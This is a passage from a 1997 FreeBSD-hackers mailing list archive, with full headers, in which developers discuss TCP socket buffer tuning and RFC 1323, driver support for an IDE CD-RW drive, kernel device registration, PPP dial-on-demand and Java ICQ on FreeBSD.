problem In-reply-to: Your message of "Thu, 09 Oct 1997 00:13:32 -0200." <199710090213.AAA28099@gaia.coppe.ufrj.br> From: David Greenman Reply-To: dg@root.com Date: Wed, 08 Oct 1997 23:53:08 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >// >/usr/sbin/sysctl -w net.inet.tcp.sendspace=65536 >// >/usr/sbin/sysctl -w net.inet.tcp.recvspace=65536 >// >// This is the cause of the problem. You really don't want to change these, >// anyway. You'll see the best performance at the default of 16KB. > >So, what's the good thing about RFC1323 ? RFC 1323 tries to address (among other things) a problem with getting high performance over high latency paths that also have a large amount of available bandwidth, such as might be the case with high speed satellite links. Most of the Internet backbone today is running at >100% utilization, however, so you could have an infinite window size and still not get any higher performance. In the case of communications over a high speed LAN, the latency isn't high enough for the bandwidth*delay product to become a problem. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Thu Oct 9 00:08:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA13705 for hackers-outgoing; Thu, 9 Oct 1997 00:08:21 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from circe.bonn-online.com (root@circe.bonn-online.com [195.52.214.66]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA13700 for ; Thu, 9 Oct 1997 00:08:16 -0700 (PDT) (envelope-from lederer@bonn-online.com) Received: from bonn-online.com (portC10.bonn-online.com [195.52.214.82]) by circe.bonn-online.com (8.8.5/8.8.5) with ESMTP id JAA13286 for ; Thu, 9 Oct 1997 09:08:03 +0200 Message-ID: <343C8264.85B2DF95@bonn-online.com> Date: Thu, 09 Oct 1997 09:06:12 +0200 From: Sebastian Lederer X-Mailer: Mozilla 4.02b7 [en] (X11; I; FreeBSD 3.0-CURRENT i386) MIME-Version: 1.0 To: hackers@FreeBSD.org Subject: Re: HP 7100i References: <199710081656.LAA17852@milo.lodgenet.com> <19971008214632.UE03822@uriah.heep.sax.de> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk J Wunsch wrote: > As John Prince wrote: > > > Has anyone had any luck using/creating a driver for the > > HP's New -- HP 7100i Internal IDE CD-ReWritable Drive > > Try Jörg Schilling's cdrecord program. I don't have a URL handy, but > if you search in DejaNews for this name, you should be able to find > it. See http://www.fokus.gmd.de/nthp/employees/schilling/cdrecord.html . Best regards, Sebastian Lederer -- Sebastian Lederer lederer@bonn-online.com From owner-freebsd-hackers Thu Oct 9 00:31:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA15005 for hackers-outgoing; Thu, 9 Oct 1997 00:31:06 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA14998 for ; Thu, 9 Oct 1997 00:31:03 -0700 (PDT) (envelope-from fenner@parc.xerox.com) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <54687(1)>; Thu, 9 Oct 1997 00:30:28 PDT Received: from localhost by crevenia.parc.xerox.com with SMTP id <177486>; Thu, 9 Oct 1997 00:30:24 -0700 To: Joao Carlos Mendes Luis cc: hackers@freebsd.org Subject: Re: TCP problem In-reply-to: Your message of "Tue, 07 Oct 97 18:22:56 PDT." <199710080122.XAA00461@gaia.coppe.ufrj.br> Date: Thu, 9 Oct 1997 00:30:16 PDT From: Bill Fenner Message-Id: <97Oct9.003024pdt.177486@crevenia.parc.xerox.com> Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Joao Carlos Mendes Luis wrote: > I have an intermitent TCP problem between a FreeBSD 2.2-STABLE and a >2.0.27 Linux. It's happening right now, let me show an example: >22:49:35.576825 146.164.5.200.2038 > 146.164.53.91.19: . ack 1 win 164 (DF) [t > os 0x10] (ttl 64, id 38632) This packet ("win 164") is the exact symptom of the problem that was fixed in rev 1.27 / 1.21.2.3 of tcp_output.c . Funny that everyone's coming across this one all at once. Bill From owner-freebsd-hackers Thu Oct 9 00:44:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA15442 for hackers-outgoing; Thu, 9 Oct 1997 00:44:27 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA15437 for ; Thu, 9 Oct 1997 00:44:23 -0700 (PDT) (envelope-from sos@sos.freebsd.dk) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id JAA04641; Thu, 9 Oct 1997 09:44:07 +0200 (MEST) From: Søren Schmidt Message-Id: <199710090744.JAA04641@sos.freebsd.dk> Subject: Re: HP 7100i In-Reply-To: <343C8264.85B2DF95@bonn-online.com> from Sebastian Lederer at "Oct 9, 97 09:06:12 am" To: lederer@bonn-online.com (Sebastian Lederer) Date: Thu, 9 Oct 1997 09:44:07 +0200 (MEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to Sebastian Lederer who wrote: > J Wunsch wrote: > > > As John Prince wrote: > > > > > Has anyone had any luck using/creating a driver for the > > > HP's New -- HP 7100i Internal IDE CD-ReWritable Drive > > > > Try Jörg Schilling's cdrecord program. I don't have a URL handy, but > > if you search in DejaNews for this name, you should be able to find > > it. > > See http://www.fokus.gmd.de/nthp/employees/schilling/cdrecord.html . Guys he's talking about an IDE device, cdrecord is for SCSI devices... As far as I know there has been no work done on this yet. I even have no idea how they do this but I presume they use the ATAPI extensions for this, so it _could_ look like the SCSI counterparts. I'm afraid that support for this is not very likely, without someone either does the job (requieres pretty solid kernel hacking experience) or donates a drive to the FreeBSD project. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-hackers Thu Oct 9 00:50:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA15678 for hackers-outgoing; Thu, 9 Oct 1997 00:50:08 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA15665 for ; Thu, 9 Oct 1997 00:50:05 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id AAA26825; Thu, 9 Oct 1997 00:51:29 -0700 (PDT) Message-Id: <199710090751.AAA26825@implode.root.com> To: Joao Carlos Mendes Luis cc: joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG Subject: Re: TCP problem In-reply-to: Your message of "Thu, 09 Oct 1997 04:32:46 -0200." <199710090632.EAA02790@zeus.coppe.ufrj.br> From: David Greenman Reply-To: dg@root.com Date: Thu, 09 Oct 1997 00:51:29 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >// > these, anyway. You'll see the best performance at the default of >// > 16KB. >// >// > So, what's the good thing about RFC1323 ? >// >// Both, RFC 1323 and the socket buffer space size, are not related at all. > >1) RFC1323 deals mostly with large windows. Actually, only about 1/3rd of RFC 1323 deals with extending the window size. The other 2/3rds deal with other extensions to improve performance (selective ACK and better round-trip time measurement). ...but this hardly matters of course. >2) The above sysctls control the default window size. Indirectly, but yes. >3) The TCP send window data must be kept in memory until receiving an ack for > it. Isn't the socket buffer space where this data is kept ? Yes. >What am I missing here and why the best performance is got with 16KB ? Because, as I said in a previous message, increasing it won't get you any more bps due to insufficient bandwidth and other factors. Increasing it will instead have the negative effect of causing more cache flushing since more buffers are involved. This may not seem like a significant consideration, but it's definately measureable. There is also the issue of the memory being wasted; perhaps this isn't an issue for a small number of TCP connections, but can be a serious concern if you have a few hundred. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Thu Oct 9 03:10:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA21848 for hackers-outgoing; Thu, 9 Oct 1997 03:10:14 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA21842 for ; Thu, 9 Oct 1997 03:10:10 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id DAA14817; Thu, 9 Oct 1997 03:00:22 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd014815; Thu Oct 9 10:00:13 1997 Date: Thu, 9 Oct 1997 02:59:04 -0700 (PDT) From: Julian Elischer To: mdean cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Cannot find definition of cdevsw_add() in source tree. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk it's in kern/kern_conf.c it's defined by using a macro. so it doesn't show up immediatly.. julian On Wed, 8 Oct 1997, mdean wrote: > > Where is cdevsw_add() defined, I have searched all .c and .h files in the > source tree, but can only find a prototype. > > > From owner-freebsd-hackers Thu Oct 9 03:39:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA23080 for hackers-outgoing; Thu, 9 Oct 1997 03:39:55 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA23064 for ; Thu, 9 Oct 1997 03:39:50 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from ponds.dignus.com (ponds.vnet.net [166.82.177.48]) by elvis.vnet.net (8.8.5/8.8.4) with ESMTP id GAA12299; Thu, 9 Oct 1997 06:39:43 -0400 (EDT) Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.8.5) with ESMTP id GAA08871; Thu, 9 Oct 1997 06:54:48 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id GAA06418; Thu, 9 Oct 1997 06:45:32 -0400 (EDT) Date: Thu, 9 Oct 1997 06:45:32 -0400 (EDT) From: Thomas David Rivers Message-Id: <199710091045.GAA06418@lakes.dignus.com> To: fenner@parc.xerox.com, jonny@coppe.ufrj.br Subject: Re: TCP problem Cc: hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Joao Carlos Mendes Luis wrote: > > I have an intermitent TCP problem between a FreeBSD 2.2-STABLE and a > >2.0.27 Linux. It's happening right now, let me show an example: > >22:49:35.576825 146.164.5.200.2038 > 146.164.53.91.19: . ack 1 win 164 (DF) [t > > os 0x10] (ttl 64, id 38632) > > This packet ("win 164") is the exact symptom of the problem that was fixed > in rev 1.27 / 1.21.2.3 of tcp_output.c . Funny that everyone's coming > across this one all at once. > > Bill > Ah... then you've not enjoyed my "lecture" on my theory of "bug time." The basic premise is based on empirical experience; not on any theoretic foundation... but, it seems that, sometimes major, bugs will lie in the code; domant - for many years. Then, suddenly, a confluence of events all around the world will cause the bugs to manifest themselves. [I call such bugs "locusts".] Usually, an addenda to the theory indicates that there is no way the software could have been resounably exercised (by a user or testing group) without finding this bug; which means: 1) There exists some force which can go back in time and inject bugs that weren't previously there... So, for some window of time after that point - the software works then stops working. 2) The software hasn't been exercised (tested) as much as one would expect (hope.) :-) :-) - Dave Rivers - From owner-freebsd-hackers Thu Oct 9 04:24:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA25296 for hackers-outgoing; Thu, 9 Oct 1997 04:24:12 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from holly.rd.net (c1-p17.senet.com.au [203.56.237.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA25246 for ; Thu, 9 Oct 1997 04:23:59 -0700 (PDT) (envelope-from darius@holly.rd.net) Received: from holly.rd.net (localhost.rd.net [127.0.0.1]) by holly.rd.net (8.8.5/8.8.5) with ESMTP id UAA07708 for ; Thu, 9 Oct 1997 20:56:19 +0930 (CST) Message-Id: <199710091126.UAA07708@holly.rd.net> To: freebsd-hackers@freebsd.org Subject: IJPPP dial on demand Reply-to: doconnor@ist.flinders.edu.au Date: Thu, 09 Oct 1997 20:56:18 +0930 From: "Daniel J. O'Connor" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I have IJPPP to do dial on demand(and it actually works! :), but the problem is that the event to cause a dialup(ie a telnet being run or whatever) gets munched. By that I mean that if I am not dialed up and do 'telnet foo.bar', I will have to kill it and wait for the dial up to finish happening and try it again, otherwise it will time out. It might be because after a dial up succeeds, my IP changes(dynamic IP assignment ): so the packets go to the wrong place.. Does anyone know of a way to fix it? Also, would it be possible to allow the dial command to be used from the ppp command prompt? This would allow some very handy stuff to happen.. (I tried, but got also sorts of weird problems happening) Any help much appreciated :) Seeya Darius ~~~~~~ From owner-freebsd-hackers Thu Oct 9 06:03:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA28933 for hackers-outgoing; Thu, 9 Oct 1997 06:03:29 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from localhost.zilker.net (jump-x2-1145.jumpnet.com [207.8.67.145]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA28908 for ; Thu, 9 Oct 1997 06:03:19 -0700 (PDT) (envelope-from marquard@zilker.net) Received: (from marquard@localhost) by localhost.zilker.net (8.8.7/8.8.3) id IAA18023; Thu, 9 Oct 1997 08:03:11 -0500 (CDT) To: freebsd-hackers@freebsd.org Subject: Re: TCP problem References: <199710090751.AAA26825@implode.root.com> From: Dave Marquardt Date: 09 Oct 1997 08:02:41 -0500 In-Reply-To: David Greenman's message of Thu, 09 Oct 1997 00:51:29 -0700 Message-ID: <854t6r6qdq.fsf@localhost.zilker.net> Lines: 18 X-Mailer: Gnus v5.3/Emacs 19.34 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk David Greenman writes: > >// > these, anyway. You'll see the best performance at the default of > >// > 16KB. > >// > >// > So, what's the good thing about RFC1323 ? > >// > >// Both, RFC 1323 and the socket buffer space size, are not related at all. > > > >1) RFC1323 deals mostly with large windows. > > Actually, only about 1/3rd of RFC 1323 deals with extending the window > size. The other 2/3rds deal with other extensions to improve performance > (selective ACK and better round-trip time measurement). ...but this hardly > matters of course. Selective ACK? I thought that didn't come out until recently.... -Dave From owner-freebsd-hackers Thu Oct 9 07:17:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA02553 for hackers-outgoing; Thu, 9 Oct 1997 07:17:51 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from bagpuss.visint.co.uk (bagpuss.visint.co.uk [194.207.134.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA02544 for ; Thu, 9 Oct 1997 07:17:43 -0700 (PDT) (envelope-from steve@visint.co.uk) Received: from dylan.visint.co.uk (dylan.visint.co.uk [194.207.134.180]) by bagpuss.visint.co.uk (8.7.5/8.7.3) with SMTP id PAA17136; Thu, 9 Oct 1997 15:11:21 +0100 (BST) Date: Thu, 9 Oct 1997 15:11:16 +0100 (BST) From: Stephen Roome To: "Eric J. Schwertfeger" cc: Eugeny Kuzakov , hackers@FreeBSD.ORG Subject: Re: Java ICQ under FreeBSD In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 2 Oct 1997, Eric J. Schwertfeger wrote: > > > On Fri, 3 Oct 1997, Eugeny Kuzakov wrote: > > > Has anyone siccessfully run java version > > of ICQ ? > > I wasn't aware that it had been released yet, though I am on their > email notification list. Bit late getting to my email here, but I spent a horrendous amount of time trying to get ICQ going last week but to no avail. The closest I got was to get rid of all the error messages and have it just sit there using up all my swap space (not even opening a window). So if anyone got it to work I'd be interested to hear how.. Thanks. Steve -- Steve Roome - Vision Interactive Ltd. Tel:+44(0)117 9730597 Home:+44(0)976 241342 WWW: http://dylan.visint.co.uk/ From owner-freebsd-hackers Thu Oct 9 07:40:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA04078 for hackers-outgoing; Thu, 9 Oct 1997 07:40:31 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA04068 for ; Thu, 9 Oct 1997 07:40:24 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id HAA29981; Thu, 9 Oct 1997 07:41:54 -0700 (PDT) Message-Id: <199710091441.HAA29981@implode.root.com> To: Dave Marquardt cc: freebsd-hackers@FreeBSD.ORG Subject: Re: TCP problem In-reply-to: Your message of "09 Oct 1997 08:02:41 CDT." <854t6r6qdq.fsf@localhost.zilker.net> From: David Greenman Reply-To: dg@root.com Date: Thu, 09 Oct 1997 07:41:54 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> Actually, only about 1/3rd of RFC 1323 deals with extending the window >> size. The other 2/3rds deal with other extensions to improve performance >> (selective ACK and better round-trip time measurement). ...but this hardly >> matters of course. > >Selective ACK? I thought that didn't come out until recently.... Oops, yes, the other third was the "PAWS" - Protection Against Wrapped Sequence numbers. SACK was originally defined in RFC 1072, but later redefined in RFC 2018. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Thu Oct 9 09:30:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA10046 for hackers-outgoing; Thu, 9 Oct 1997 09:30:57 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA10040 for ; Thu, 9 Oct 1997 09:30:53 -0700 (PDT) (envelope-from mrcpu@cdsnet.net) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id JAA22826; Thu, 9 Oct 1997 09:29:22 -0700 (PDT) Date: Thu, 9 Oct 1997 09:29:22 -0700 (PDT) From: Jaye Mathisen To: Joao Carlos Mendes Luis cc: dg@root.com, joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG Subject: Re: TCP problem In-Reply-To: <199710090213.AAA28099@gaia.coppe.ufrj.br> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 9 Oct 1997, Joao Carlos Mendes Luis wrote: > #define quoting(David Greenman) > // >/usr/sbin/sysctl -w net.inet.tcp.sendspace=65536 > // >/usr/sbin/sysctl -w net.inet.tcp.recvspace=65536 > // > // This is the cause of the problem. You really don't want to change these, > // anyway. You'll see the best performance at the default of 16KB. While this is probably true for the general case, I find my INN server runs *much* better with 64k recvspace from a diablo feeder, (with 64k send/recv on the diablo box). Just a note. From owner-freebsd-hackers Thu Oct 9 09:33:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA10327 for hackers-outgoing; Thu, 9 Oct 1997 09:33:54 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from horst.bfd.com (horst.bfd.com [204.160.242.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA10321 for ; Thu, 9 Oct 1997 09:33:52 -0700 (PDT) (envelope-from ejs@bfd.com) Received: from harlie.bfd.com (bastion.bfd.com [204.160.242.14]) by horst.bfd.com (8.8.5/8.7.3) with SMTP id JAA10039; Thu, 9 Oct 1997 09:32:13 -0700 (PDT) Date: Thu, 9 Oct 1997 09:32:13 -0700 (PDT) From: "Eric J. Schwertfeger" To: Stephen Roome cc: Eugeny Kuzakov , hackers@FreeBSD.ORG Subject: Re: Java ICQ under FreeBSD In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 9 Oct 1997, Stephen Roome wrote: > Bit late getting to my email here, but I spent a horrendous amount of time > trying to get ICQ going last week but to no avail. > > The closest I got was to get rid of all the error messages and have it > just sit there using up all my swap space (not even opening a window). I was quite surprized when I reported this to Mirabilis, and they said to use the -debug flag before the -classpath flag. It still won't connect, but it at least opens a window. Once again, the act of observing alters what is being observed. I put it aside until the preview supports chat, though I've heard that others managed to get it to work using the newer FreeBSD JDK 1.0.2 (I'm still using the older one), though I'd rather get it working with kaffee. From owner-freebsd-hackers Thu Oct 9 11:07:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA16758 for hackers-outgoing; Thu, 9 Oct 1997 11:07:34 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA16749 for ; Thu, 9 Oct 1997 11:07:31 -0700 (PDT) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0xJMzY-0004qg-00; Thu, 9 Oct 1997 12:07:20 -0600 Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.8.7/8.8.3) with ESMTP id MAA16908; Thu, 9 Oct 1997 12:07:27 -0600 (MDT) Message-Id: <199710091807.MAA16908@harmony.village.org> To: "Jordan K. Hubbard" Subject: Re: group assignments from make world. Cc: hackers@freebsd.org, "Matthew D. Fuller" In-reply-to: Your message of "Tue, 07 Oct 1997 21:53:12 PDT." <22723.876286392@time.cdrom.com> References: <22723.876286392@time.cdrom.com> Date: Thu, 09 Oct 1997 12:07:27 -0600 From: Warner Losh Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <22723.876286392@time.cdrom.com> "Jordan K. Hubbard" writes: : Maybe it's time to institute something a little bit closer to the : XFree86 Project's BETA program? Not all the way in that direction, : where early access is really restricted quite tightly, but something : which might require one to jump through just a few more hoops first : (at a minimum, you'd need to subscribe to the appropriate list and, if : you left it, so would your "license to cvsup" :-). Too draconian? : Not draconian enough? :-) /etc/current-pwd. You have to get the password from -current monthly and place it in /etc/current-pwd in order to build the system. If your password is too old, it won't build. Experienced users can hack this out fairly easily, and we'd not ship it by default. Minor hacking to the makefile would be all that is needed. The other option is to have a current-urgent or current-build that dealt only with issues having to do with builds. When a problem came up, someone would cc current-build with that problem AND solution. People could then make these into FAQ like entries and when the same thing comes up again, pointers could be posted. Comments? Warner From owner-freebsd-hackers Thu Oct 9 11:51:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA20092 for hackers-outgoing; Thu, 9 Oct 1997 11:51:20 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA20050 for ; Thu, 9 Oct 1997 11:51:09 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id UAA02024; Thu, 9 Oct 1997 20:51:07 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id UAA20047; Thu, 9 Oct 1997 20:33:11 +0200 (MET DST) Message-ID: <19971009203311.QE10395@uriah.heep.sax.de> Date: Thu, 9 Oct 1997 20:33:11 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: mdean@best.com (mdean) Subject: Re: Major number requested References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from mdean on Oct 8, 1997 23:42:30 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As mdean wrote: > I would like to ask for a major number for my dio48s/at-p driver (48 > channel digital i/o with change of state interrupt). Well, we probably wouldn't `reserve' major numbers before they are needed. However, with the current approach, this is just a single #define statement in your code anyway, so i don't think you gotta worry much about it yet. Simply use major # 20 (``local use'') by now to develop it. Basically, if you look at the latest copy of the file /sys/i386/conf/majors.i386, you'll see what's the next available number. > I will be contributing this driver, unless rejected, to the > freebsd project. Please adhere to style(9) if you intend to contribute it. If you care for it from the beginning, it's much easier than changing things later. > I also need to know what kind of man page text I need to go along with > this. I have never done any man pages. Basically, pick some comparable device driver man page from section 4 (/usr/src/share/man/man4/). Unless the driver exports some kernel API functions (i.e. non-`static' functions etc. that can be reused in other parts of the kernel), section 9 man pages are not required. I think there are a number of people around in the committers club who are knowledgable about man pages, so if you ask nicely for a review/ style fixup, it's likely that you should find someone. Finding a kernel committer who's knowledgable enough for at least a cursory review of your code *and* who also has the time to do it is probably much harder. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu Oct 9 11:51:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA20147 for hackers-outgoing; Thu, 9 Oct 1997 11:51:37 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA20101 for ; Thu, 9 Oct 1997 11:51:22 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id UAA02025 for hackers@FreeBSD.ORG; Thu, 9 Oct 1997 20:51:15 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id UAA20061; Thu, 9 Oct 1997 20:35:12 +0200 (MET DST) Message-ID: <19971009203512.DL01683@uriah.heep.sax.de> Date: Thu, 9 Oct 1997 20:35:12 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: HP 7100i References: <343C8264.85B2DF95@bonn-online.com> <199710090744.JAA04641@sos.freebsd.dk> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: =?iso-8859-1?Q?=3C199710090744=2EJAA04641=40sos=2Efreebsd=2Edk=3E=3B_fro?= =?iso-8859-1?Q?m_S=F8ren_Schmidt_on_Oct_9=2C_1997_09=3A44=3A07_+0200?= Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Søren Schmidt wrote: > > > > Has anyone had any luck using/creating a driver for the > > > > HP's New -- HP 7100i Internal IDE CD-ReWritable Drive > Guys he's talking about an IDE device, cdrecord is for SCSI devices... Pah! I didn't imagine somebody would be stupid enough to even *build* such a device. *shudder* -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu Oct 9 12:07:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA21492 for hackers-outgoing; Thu, 9 Oct 1997 12:07:29 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr08.primenet.com (tlambert@usr08.primenet.com [206.165.6.208]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA21455 for ; Thu, 9 Oct 1997 12:07:15 -0700 (PDT) (envelope-from tlambert@usr08.primenet.com) Received: (from tlambert@localhost) by usr08.primenet.com (8.8.5/8.8.5) id MAA06550; Thu, 9 Oct 1997 12:05:06 -0700 (MST) From: Terry Lambert Message-Id: <199710091905.MAA06550@usr08.primenet.com> Subject: Re: HP 7100i To: sos@sos.freebsd.dk (Søren Schmidt) Date: Thu, 9 Oct 1997 19:05:06 +0000 (GMT) Cc: lederer@bonn-online.com, hackers@FreeBSD.ORG In-Reply-To: <199710090744.JAA04641@sos.freebsd.dk> from "Søren Schmidt" at Oct 9, 97 09:44:07 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: 